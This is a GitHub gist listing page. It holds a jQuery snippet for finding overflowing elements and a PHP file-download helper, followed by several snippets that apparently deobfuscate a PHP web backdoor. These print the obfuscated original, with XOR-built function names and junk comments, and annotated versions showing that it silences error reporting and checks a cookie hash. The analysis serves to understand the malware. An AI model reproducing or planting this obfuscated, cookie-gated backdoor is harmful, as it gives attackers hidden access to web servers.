Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View FrancisBaileyH's full-sized avatar

Francis Bailey FrancisBaileyH

View GitHub Profile
@FrancisBaileyH
FrancisBaileyH / gist:3824ba714e75554ed14a
Last active August 29, 2015 14:05
Find elements that are overflowing in mobile view
$( window ).resize( function()
{
if ( $( window ).width() == 320 )
{
$( '*' ).each( function( i )
{
if ( $( this ).width() > 320 )
{
console.log( $( this ) );
@FrancisBaileyH
FrancisBaileyH / download.php
Created August 10, 2015 18:37
Send a file to a browser
<?php
public function download()
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
<?php
// Make double sure error reporting is off
ini_set('error_reporting', 0);
error_reporting(0);
$storedHash = '371b35831254c61f61fc291ad7012044';
$persistentHash = @$_COOKIE['zqcvp'];
// Check if the user has the storedHash value set in their cookie
<?php $xzsuh='$7-"]A8qcb[rj@y';$bpvdd='!a@nT'^'L';$auzn='%1#';$mgfbv='V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';$tj=',%XQ6Aq(#7';$whhwy='u8?+r%h';$krqf='VQGt:VER&ow2u'^'??.+I31';
$dghpp='3GA,K#)MT:[Y2V*'^'V53C9|[($U)-[8M`KrE/Z';$gqwmvj='4}'^'PH`T.P';/*$yyb;U`wg6|cj!J3HPokqu^}No&L%g-bP&gjca8+ssus>>$knvwb*/$atj='W+';##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S
$eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';
$qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
$davmw^'oxxftkfxsatijuf';'c*Ssr43';
/*$zbrux;slZ07}50zverOIL|E4xJ_Ip}rMmm|Ze0-e.)8=h%xM$miig>>$fqkwdpl*/$dghpp($qkkgc);$kr='ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';/*cxUyn/5.I7YpRMa7pb*?jRY,YPqGMlKk=ArPkUC;4+6gw3Mk]|3$or7AK{&[Q+5t_2HYf^Dxf;=*+GB8Ea{`Ao?LQJhqVe%i!8{*/
$atj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
$popfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
/*$elmwb;)_ut3E9zsctAg1o^rc)TtLE@}]mqBN?&;
<?php
$xzsuh = '$7-"]A8qcb[rj@y';
$bpvdd = '!a@nT' ^ 'L';
$auzn = '%1#'; // used
$mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
$tj = ',%XQ6Aq(#7'; // used
<?php
$xzsuh = '$7-"]A8qcb[rj@y';
$bpvdd = '!a@nT' ^ 'L';
$auzn = '%1#';
$mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
$tj = ',%XQ6Aq(#7';
<?php
$xzsuh = '$7-"]A8qcb[rj@y';
// m
$bpvdd = '!a@nT' ^ 'L';
var_dump($bpvdd);
$auzn = '%1#';
$mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
$tj = ',%XQ6Aq(#7';
<?php
// We know from the code above that $krqf is equal to ini_set
// and $dghpp is equal to "error_reporting" and $qkkgc is set
// to 0 directly above so we know that that this line is:
//
ini_set('error_reporting', 0);
<?php
// Make double sure error reporting is off
ini_set('error_reporting', 0);
error_reporting(0);
$storedHash = '371b35831254c61f61fc291ad7012044';
$authHash = @$_COOKIE['zqcvp'];
// Check if the user has the storedHash value set in their cookie
<?php
'j[vo'; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
$davmw ^ 'oxxftkfxsatijuf';
'c*Ssr43';
/*$zbrux;slZ07}50zverOIL|E4xJ_Ip}rMmm|Ze0-e.)8=h%xM$miig>>$fqkwdpl*/